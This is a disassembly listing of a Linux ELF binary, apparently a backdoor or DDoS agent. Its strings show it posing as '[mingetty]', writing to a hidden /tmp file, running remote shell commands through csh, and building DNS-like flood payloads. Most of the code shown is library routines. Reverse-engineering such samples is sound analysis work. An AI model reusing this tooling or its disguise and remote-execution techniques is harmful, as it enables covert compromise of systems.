		mov	ebp, esp
		sub	esp, 18h
		push	esi
		push	ebx
		mov	ebx, ds:dword_807E76C
		test	ebx, ebx
		jnz	short loc_80670C6
		push	40h
		push	1
		call	sub_805C904
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jnz	short loc_80670C0
		xor	eax, eax
		jmp	loc_8067141
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80670C0:				; CODE XREF: sub_8067094+22j
		mov	ds:dword_807E76C, ebx

loc_80670C6:				; CODE XREF: sub_8067094+10j
		cmp	dword ptr [ebx+3Ch], 0
		jnz	short loc_806713F
		mov	eax, dword_8079230
		mov	[ebx+0Ch], eax
		mov	eax, dword_8079234
		mov	[ebx+10h], eax
		mov	eax, dword_8079238
		mov	[ebx+14h], eax
		mov	eax, [ebx+0Ch]
		mov	[ebx], eax
		mov	eax, [ebx+10h]
		mov	[ebx+4], eax
		mov	eax, [ebx+14h]
		mov	[ebx+8], eax
		mov	dword ptr [ebx+20h], offset off_8079298
		lea	esi, [ebp+var_18]
		push	0
		push	14h
		lea	eax, [ebx+28h]
		push	eax
		push	esi
		call	sub_8065408
		push	ebx
		push	esi
		call	sub_8064B1C
		lea	eax, [ebx+0Ch]
		push	eax
		push	esi
		call	sub_8064B1C
		add	esp, 20h
		mov	eax, [ebp+var_14]
		push	esi
		mov	eax, [eax+10h]
		call	eax
		mov	[ebx+3Ch], eax
		mov	eax, [ebp+var_14]
		add	esp, 4
		cmp	dword ptr [eax+1Ch], 0
		jz	short loc_806713F
		push	esi
		mov	eax, [eax+1Ch]
		call	eax

loc_806713F:				; CODE XREF: sub_8067094+36j
					; sub_8067094+A3j
		mov	eax, ebx

loc_8067141:				; CODE XREF: sub_8067094+26j
		lea	esp, [ebp+var_20]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_8067094	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_806714C	proc near		; DATA XREF: .data:0807929Co

var_4		= dword	ptr -4
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		mov	ecx, ds:dword_807E76C
		test	ecx, ecx
		jz	short loc_8067170
		mov	edx, [ebx+4]
		mov	eax, [ecx+3Ch]
		push	eax
		lea	eax, [ecx+28h]
		push	eax
		push	ebx
		mov	eax, [edx+0Ch]
		call	eax
		jmp	short loc_8067172
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8067170:				; CODE XREF: sub_806714C+Fj
		xor	eax, eax

loc_8067172:				; CODE XREF: sub_806714C+22j
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_806714C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_806717C	proc near		; DATA XREF: .data:08079298o
		push	ebp
		mov	ebp, esp
		mov	esp, ebp
		pop	ebp
		retn
sub_806717C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8067184	proc near		; DATA XREF: .data:080792A0o
		push	ebp
		mov	ebp, esp
		mov	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_8067184	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8067190	proc near		; DATA XREF: .data:080792A4o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn
sub_8067190	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_806719C	proc near		; DATA XREF: .data:080792A8o
		push	ebp
		mov	ebp, esp
		mov	esp, ebp
		pop	ebp
		retn
sub_806719C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_80671A4	proc near		; CODE XREF: sub_8067248+45p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+arg_8]
		mov	edx, [ebp+arg_4]
		mov	ebx, [edx]
		call	sub_805E954
		test	ebx, ebx
		jnz	short loc_806721A
		mov	eax, [edi]
		cmp	eax, 1
		jz	short loc_80671D4
		cmp	eax, 2
		jnz	short loc_806721A
		mov	eax, 1
		jmp	short loc_806723E
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80671D4:				; CODE XREF: sub_80671A4+1Fj
		push	esi
		call	malloc
		mov	ebx, eax
		mov	edx, [ebp+arg_4]
		mov	[edx], ebx
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_8067210
		push	offset aOutOfMemory_3 ;	"out of	memory"
		push	1
		push	0Ah
		mov	eax, dword_8078F9C
		push	eax
		call	catgets
		push	eax
		push	offset aXdr_referenceS ; "xdr_reference: %s\n"
		push	offset unk_80787A4
		call	fprintf
		xor	eax, eax
		jmp	short loc_806723E
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8067210:				; CODE XREF: sub_80671A4+42j
		push	esi
		push	ebx
		call	sub_806626C
		add	esp, 8

loc_806721A:				; CODE XREF: sub_80671A4+18j
					; sub_80671A4+24j
		push	0FFFFFFFFh
		push	ebx
		push	edi
		mov	edx, [ebp+arg_C]
		call	edx
		mov	esi, eax
		add	esp, 0Ch
		cmp	dword ptr [edi], 2
		jnz	short loc_806723C
		push	ebx
		call	free
		mov	edx, [ebp+arg_4]
		mov	dword ptr [edx], 0

loc_806723C:				; CODE XREF: sub_80671A4+87j
		mov	eax, esi

loc_806723E:				; CODE XREF: sub_80671A4+2Bj
					; sub_80671A4+6Aj
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_80671A4	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8067248	proc near		; CODE XREF: sub_8066710+25p
					; sub_8066754+25p

var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	edi, [ebp+arg_C]
		cmp	dword ptr [ebx], 0
		setnz	al
		and	eax, 0FFh
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_8065098
		add	esp, 8
		test	eax, eax
		jnz	short loc_8067280
		xor	eax, eax
		jmp	short loc_806729F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8067280:				; CODE XREF: sub_8067248+2Fj
		cmp	[ebp+var_4], 0
		jz	short loc_8067294
		push	edi
		mov	edx, [ebp+arg_8]
		push	edx
		push	ebx
		push	esi
		call	sub_80671A4
		jmp	short loc_806729F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8067294:				; CODE XREF: sub_8067248+3Cj
		mov	dword ptr [ebx], 0
		mov	eax, 1

loc_806729F:				; CODE XREF: sub_8067248+33j
					; sub_8067248+4Aj
		lea	esp, [ebp+var_10]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8067248	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 3 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_80672AC	proc near		; CODE XREF: sub_8066B1C+88p

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	edx, [ebp+arg_0]
		mov	ebx, __errno
		lea	eax, [ebp+var_24]
		push	eax
		push	edx
		call	sub_80672E0
		test	eax, eax
		setz	al
		and	eax, 0FFh
		mov	__errno, ebx
		mov	ebx, [ebp+var_28]
		mov	esp, ebp
		pop	ebp
		retn
sub_80672AC	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 3 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_80672E0	proc near		; CODE XREF: sub_80672AC+15p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		push	eax
		push	5401h
		push	edx
		call	ioctl
		mov	esp, ebp
		pop	ebp
		retn
sub_80672E0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 7 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8067300	proc near		; CODE XREF: sub_8066BFC+14Ep

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		sub	ecx, eax
		sub	eax, 4
		lea	esi, [esi]

loc_8067310:				; CODE XREF: sub_8067300+3Bj
		add	eax, 4
		mov	dl, [eax+ecx]
		mov	[eax], dl
		test	dl, dl
		jz	short loc_8067340
		mov	dl, [eax+ecx+1]
		mov	[eax+1], dl
		test	dl, dl
		jz	short loc_806733F
		mov	dl, [eax+ecx+2]
		mov	[eax+2], dl
		test	dl, dl
		jz	short loc_806733E
		mov	dl, [eax+ecx+3]
		mov	[eax+3], dl
		test	dl, dl
		jnz	short loc_8067310
		inc	eax

loc_806733E:				; CODE XREF: sub_8067300+30j
		inc	eax

loc_806733F:				; CODE XREF: sub_8067300+25j
		inc	eax

loc_8067340:				; CODE XREF: sub_8067300+1Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_8067300	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8067344	proc near		; CODE XREF: sub_8062714+6Bp
					; sub_8062714+B3p ...

var_30		= byte ptr -30h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_1C], eax
		mov	edi, [ebp+arg_C]
		mov	[ebp+var_4], ebx
		mov	ebx, esi
		test	edi, edi
		jnz	short loc_80673A8
		cmp	eax, ebx
		jbe	short loc_8067378
		mov	eax, [ebp+var_4]
		mov	edx, ebx
		div	[ebp+var_1C]
		mov	edi, eax
		jmp	loc_8067434
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8067378:				; CODE XREF: sub_8067344+23j
		cmp	[ebp+var_1C], 0
		jnz	short loc_806738D
		mov	edx, 1
		mov	eax, edx
		xor	edx, edx
		div	[ebp+var_1C]
		mov	[ebp+var_1C], eax

loc_806738D:				; CODE XREF: sub_8067344+38j
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+var_1C]
		mov	ebx, edx
		mov	esi, eax
		mov	eax, [ebp+var_4]
		div	[ebp+var_1C]
		mov	edi, eax
		jmp	loc_8067436
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80673A8:				; CODE XREF: sub_8067344+1Fj
		cmp	edi, ebx
		jbe	short loc_80673B4

loc_80673AC:				; CODE XREF: sub_8067344+87j
		xor	edi, edi
		jmp	loc_8067434
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80673B4:				; CODE XREF: sub_8067344+66j
		bsr	edx, edi
		xor	dl, 1Fh
		mov	[ebp+var_24], edx
		test	edx, edx
		jnz	short loc_80673D4
		cmp	ebx, edi
		ja	short loc_80673CD
		mov	edx, [ebp+var_1C]
		cmp	[ebp+var_4], edx
		jb	short loc_80673AC

loc_80673CD:				; CODE XREF: sub_8067344+7Fj
		mov	edi, 1
		jmp	short loc_8067434
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80673D4:				; CODE XREF: sub_8067344+7Bj
		mov	esi, 20h
		sub	esi, [ebp+var_24]
		mov	ecx, [ebp+var_24]
		shl	edi, cl
		mov	[ebp+var_8], edi
		mov	eax, [ebp+var_1C]
		mov	ecx, esi
		shr	eax, cl
		or	edi, eax
		mov	ecx, [ebp+var_24]
		shl	[ebp+var_1C], cl
		mov	eax, ebx
		mov	ecx, esi
		shr	eax, cl
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_24]
		shl	ebx, cl
		mov	[ebp+var_10], ebx
		mov	eax, [ebp+var_4]
		mov	ecx, esi
		shr	eax, cl
		or	ebx, eax
		mov	ecx, [ebp+var_24]
		shl	[ebp+var_4], cl
		mov	eax, ebx
		mov	edx, [ebp+var_C]
		div	edi
		mov	ebx, edx
		mov	edi, eax
		mov	eax, [ebp+var_1C]
		mul	edi
		mov	[ebp+var_24], edx
		mov	esi, eax
		cmp	edx, ebx
		ja	short loc_8067433
		jnz	short loc_8067434
		cmp	[ebp+var_4], esi
		jnb	short loc_8067434

loc_8067433:				; CODE XREF: sub_8067344+E6j
		dec	edi

loc_8067434:				; CODE XREF: sub_8067344+2Fj
					; sub_8067344+6Aj ...
		xor	esi, esi

loc_8067436:				; CODE XREF: sub_8067344+5Cj
		mov	[ebp+var_18], edi
		mov	[ebp+var_14], esi
		mov	eax, [ebp+var_18]
		mov	edx, [ebp+var_14]
		lea	esp, [ebp+var_30]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8067344	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_806744C	proc near		; CODE XREF: sub_8062714+4Fp
					; sub_8062714+97p ...

var_34		= byte ptr -34h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_C]
		mov	esi, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_20], eax
		test	ebx, ebx
		jnz	short loc_80674A8
		cmp	edi, eax
		jbe	short loc_8067478
		mov	eax, esi
		mov	edx, [ebp+var_20]
		div	edi
		jmp	short loc_8067497
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8067478:				; CODE XREF: sub_806744C+1Ej
		test	edi, edi
		jnz	short loc_8067489
		mov	edx, 1
		mov	eax, edx
		xor	edx, edx
		div	edi
		mov	edi, eax

loc_8067489:				; CODE XREF: sub_806744C+2Ej
		mov	eax, [ebp+var_20]
		xor	edx, edx
		div	edi
		mov	[ebp+var_20], edx
		mov	eax, esi
		div	edi

loc_8067497:				; CODE XREF: sub_806744C+27j
		mov	esi, edx
		mov	[ebp+var_10], esi
		mov	[ebp+var_C], 0
		jmp	loc_806758C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80674A8:				; CODE XREF: sub_806744C+1Aj
		cmp	[ebp+var_20], ebx
		jb	short loc_80674CD
		bsr	edx, ebx
		xor	dl, 1Fh
		mov	[ebp+var_14], edx
		test	edx, edx
		jnz	short loc_80674E8
		cmp	[ebp+var_20], ebx
		ja	short loc_80674C3
		cmp	esi, edi
		jb	short loc_80674CD

loc_80674C3:				; CODE XREF: sub_806744C+71j
		mov	edx, [ebp+var_20]
		sub	esi, edi
		sbb	edx, ebx
		mov	[ebp+var_20], edx

loc_80674CD:				; CODE XREF: sub_806744C+5Fj
					; sub_806744C+75j
		mov	[ebp+var_10], esi
		mov	ecx, [ebp+var_20]
		mov	[ebp+var_C], ecx
		mov	eax, [ebp+var_10]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_4], eax
		jmp	loc_8067598
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80674E8:				; CODE XREF: sub_806744C+6Cj
		mov	edx, 20h
		sub	edx, [ebp+var_14]
		mov	[ebp+var_18], edx
		mov	ecx, [ebp+var_14]
		shl	ebx, cl
		mov	[ebp+var_28], ebx
		mov	eax, edi
		mov	ecx, edx
		shr	eax, cl
		or	ebx, eax
		mov	ecx, [ebp+var_14]
		shl	edi, cl
		mov	eax, [ebp+var_20]
		mov	ecx, edx
		shr	eax, cl
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+var_20]
		mov	ecx, [ebp+var_14]
		shl	eax, cl
		mov	[ebp+var_28], eax
		mov	eax, esi
		mov	ecx, edx
		shr	eax, cl
		mov	edx, [ebp+var_28]
		or	edx, eax
		mov	[ebp+var_20], edx
		mov	ecx, [ebp+var_14]
		shl	esi, cl
		mov	eax, [ebp+var_20]
		mov	edx, [ebp+var_1C]
		div	ebx
		mov	[ebp+var_20], edx
		mov	[ebp+var_28], eax
		mul	edi
		mov	[ebp+var_24], edx
		mov	[ebp+var_28], eax
		mov	ecx, [ebp+var_20]
		cmp	edx, ecx
		ja	short loc_8067553
		jnz	short loc_8067563
		cmp	eax, esi
		jbe	short loc_8067563

loc_8067553:				; CODE XREF: sub_806744C+FFj
		mov	eax, [ebp+var_24]
		mov	edx, [ebp+var_28]
		sub	edx, edi
		sbb	eax, ebx
		mov	[ebp+var_28], edx
		mov	[ebp+var_24], eax

loc_8067563:				; CODE XREF: sub_806744C+101j
					; sub_806744C+105j
		mov	ecx, [ebp+var_20]
		sub	esi, [ebp+var_28]
		sbb	ecx, [ebp+var_24]
		mov	[ebp+var_20], ecx
		mov	eax, [ebp+var_20]
		mov	ecx, [ebp+var_18]
		shl	eax, cl
		mov	ecx, [ebp+var_14]
		shr	esi, cl
		mov	[ebp+var_24], esi
		or	eax, esi
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_20]
		shr	eax, cl
		mov	[ebp+var_C], eax

loc_806758C:				; CODE XREF: sub_806744C+57j
		mov	edx, [ebp+var_10]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		mov	[ebp+var_4], edx

loc_8067598:				; CODE XREF: sub_806744C+96j
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_4]
		lea	esp, [ebp+var_34]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_806744C	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: hidden

sub_80675A8	proc near		; CODE XREF: _init_procp
		push	ebx
		mov	ebx, offset dword_80792AC
		cmp	ds:dword_80792AC, 0FFFFFFFFh
		jz	short loc_80675C4
		nop

loc_80675B8:				; CODE XREF: sub_80675A8+1Aj
		mov	eax, [ebx]
		call	eax
		add	ebx, 0FFFFFFFCh
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	short loc_80675B8

loc_80675C4:				; CODE XREF: sub_80675A8+Dj
		pop	ebx
		retn
sub_80675A8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 3 dup(90h)
_text		ends

; ммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

; Segment type:	Pure data
__libc_subinit	segment	dword public 'CONST' use32
		assume cs:__libc_subinit
		;org 80675CCh
off_80675CC	dd offset sub_8056D3C	; DATA XREF: __libc_init+Co
					; __libc_init+22o ...
__libc_subinit	ends

; ммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

; Segment type:	Pure code
_fini		segment	para public 'CODE' use32
		assume cs:_fini
		;org 80675D0h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: hidden

_term_proc	proc near		; DATA XREF: start+44o	__libc_init+11o ...
		call	sub_8048110
		retn	0
_term_proc	endp

_fini		ends

; ммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

; Segment type:	Pure data
_rodata		segment	dword public 'CONST' use32
		assume cs:_rodata
		;org 80675D8h
aMingetty	db '[mingetty]',0       ; DATA XREF: main+76r main+7Dr ...
aSlash		db '/',0                ; DATA XREF: main+D8o
null_byte	db 0			; DATA XREF: main+228r	encode_input+Fr ...
aTmp_hj237349	db '/tmp/.hj237349',0   ; DATA XREF: main+4BFo main+4E7o ...
aBinCshFCS1S21	db '/bin/csh -f -c "%s" 1> %s 2>&1',0 ; DATA XREF: main+4CBo
aRb		db 'rb',0               ; DATA XREF: main+4E2o
aTfojg		db 'TfOjG',0            ; DATA XREF: main+8D6o
unk_806761D	db 0FFh	;		; DATA XREF: main+8EBo
		db 0FBh	; Ш
		db    1	;  
		db    0	;  
aSbinBinUsrSbin	db '/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin/:.',0
					; DATA XREF: main+93Co
aPath		db 'PATH',0             ; DATA XREF: main+941o
aHistfile	db 'HISTFILE',0         ; DATA XREF: main+94Eo
aLinux		db 'linux',0            ; DATA XREF: main+95Ao
aTerm		db 'TERM',0             ; DATA XREF: main+95Fo
aSh		db 'sh',0               ; DATA XREF: main+96Bo
aBinSh		db '/bin/sh',0          ; DATA XREF: main+970o
aBinCshFCS	db '/bin/csh -f -c "%s" ',0 ; DATA XREF: main+A06o
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: send_packet+97o
					; sub_8049564+CDo ...
		db  8Dh	; █
		db  36h	; 6
length_table	dd 2 dup(15h), 14h, 2 dup(15h),	19h, 3 dup(14h)	; DATA XREF: sub_8049174+33o
					; sub_8049564+57o
payload_table	db 47h,	6Eh, 1,	2 dup(0), 1, 6 dup(0), 3, 63h, 6Fh, 6Dh
					; DATA XREF: sub_8049174+50o
					; sub_8049564+6Ao
		db 2 dup(0), 6,	0, 1, 1Dh dup(0), 47h, 6Eh, 1, 2 dup(0)
		db 1, 6	dup(0),	3, 6Eh,	65h, 74h, 2 dup(0), 6, 0, 1, 1Dh dup(0)
		db 47h,	6Eh, 1,	2 dup(0), 1, 6 dup(0), 3, 64h, 65h, 2 dup(0)
		db 6, 0, 1, 1Eh	dup(0),	47h, 6Eh, 1, 2 dup(0), 1, 6 dup(0)
		db 3, 65h, 64h,	75h, 2 dup(0), 6, 0, 1,	1Dh dup(0), 47h
		db 6Eh,	1, 2 dup(0), 1,	6 dup(0), 3, 6Fh, 72h, 67h, 2 dup(0)
		db 6, 0, 1, 1Dh	dup(0),	47h, 6Eh, 1, 2 dup(0), 1, 6 dup(0)
		db 3, 75h, 73h,	63h, 3,	65h, 64h, 75h, 2 dup(0), 6, 0
		db 1, 19h dup(0), 47h, 6Eh, 1, 2 dup(0), 1, 6 dup(0), 3
		db 65h,	73h, 2 dup(0), 6, 0, 1,	1Eh dup(0), 47h, 6Eh, 1
		db 2 dup(0), 1,	6 dup(0), 3, 67h, 72h, 2 dup(0), 6, 0
		db 1, 1Eh dup(0), 47h, 6Eh, 1, 2 dup(0), 1, 6 dup(0), 3
		db 69h,	65h, 2 dup(0), 6, 0, 1,	50h dup(0)
aU_U_U_U	db '%u.%u.%u.%u',0      ; DATA XREF: sub_8049D40+2C8o
aC		db '%c',0               ; DATA XREF: encode_input+1Fo
aCS		db '%c%s',0             ; DATA XREF: decode_input+9Bo
aGethostby_ge_1	db 'gethostby*.getanswer: asked for "%s", got "%s"',0
					; DATA XREF: getanswer+48Eo
aResolv_host_co	db 'RESOLV_HOST_CONF',0 ; DATA XREF: init_services_resolv+1Do
aEtcHost_conf	db '/etc/host.conf',0   ; DATA XREF: init_services_resolv+34o
aR		db 'r',0                ; DATA XREF: init_services_resolv+3Eo
					; sub_804C538+Co ...
aOrder		db 'order',0            ; DATA XREF: init_services_resolv+125o
					; init_services_resolv+183o ...
asc_806791B	db ' ',9,0              ; DATA XREF: init_services_resolv+163o
					; init_services_resolv+3CCo ...
aResolvSSComman	db 'resolv+: %s: "%s" command incorrectly formatted.',0Ah,0
					; DATA XREF: init_services_resolv+18Fo
					; init_services_resolv+298o ...
asc_8067950	db ' ,;:',0             ; DATA XREF: init_services_resolv+1AFo
					; init_services_resolv+A77o ...
aBind		db 'bind',0             ; DATA XREF: init_services_resolv+1C8o
					; init_services_resolv+2ECo ...
aHosts		db 'hosts',0            ; DATA XREF: init_services_resolv+216o
					; init_services_resolv+2E7o ...
aNis		db 'nis',0              ; DATA XREF: init_services_resolv+252o
					; init_services_resolv+2E2o ...
aResolvSIsAnInv	db 'resolv+: "%s" is an invalid keyword',0Ah,0
					; DATA XREF: init_services_resolv+2BDo
					; init_services_resolv+8B5o ...
aResolvValidKey	db 'resolv+: valid keywords are: %s, %s and %s',0Ah,0
					; DATA XREF: init_services_resolv+2F1o
aResolvSearchOr	db 'resolv+: search order not specified or unrecognized keyword,'
					; DATA XREF: init_services_resolv+35Fo
		db ' host resolution will fail.',0Ah,0
aMulti		db 'multi',0            ; DATA XREF: init_services_resolv+38Eo
					; init_services_resolv+4B8o ...
aOn		db 'on',0               ; DATA XREF: init_services_resolv+432o
					; init_services_resolv+576o ...
aOff		db 'off',0              ; DATA XREF: init_services_resolv+47Fo
					; init_services_resolv+5C3o ...
aNospoof	db 'nospoof',0          ; DATA XREF: init_services_resolv+4D2o
					; init_services_resolv+5FCo ...
aAlert		db 'alert',0            ; DATA XREF: init_services_resolv+616o
					; init_services_resolv+740o ...
aReorder	db 'reorder',0          ; DATA XREF: init_services_resolv+75Ao
					; init_services_resolv+884o ...
aTrim		db 'trim',0             ; DATA XREF: init_services_resolv+8F2o
					; init_services_resolv+9B8o
aResolv_serv_or	db 'RESOLV_SERV_ORDER',0 ; DATA XREF: init_services_resolv+A5Eo
aResolv_spoof_c	db 'RESOLV_SPOOF_CHECK',0 ; DATA XREF: init_services_resolv+B6Ao
aWarn		db 'warn',0             ; DATA XREF: init_services_resolv+B83o
aWarnOff	db 'warn off',0         ; DATA XREF: init_services_resolv+C06o
aResolv_multi	db 'RESOLV_MULTI',0     ; DATA XREF: init_services_resolv+C4Eo
aResolv_reorder	db 'RESOLV_REORDER',0   ; DATA XREF: init_services_resolv+CA2o
aResolv_add_tri	db 'RESOLV_ADD_TRIM_DOMAINS',0 ; DATA XREF: init_services_resolv+CF6o
aResolv_overrid	db 'RESOLV_OVERRIDE_TRIM_DOMAINS',0 ; DATA XREF: init_services_resolv+D77o
aGethostby_geta	db 'gethostby*.getanswer: asked for "%s", got CNAME for "%s"',0
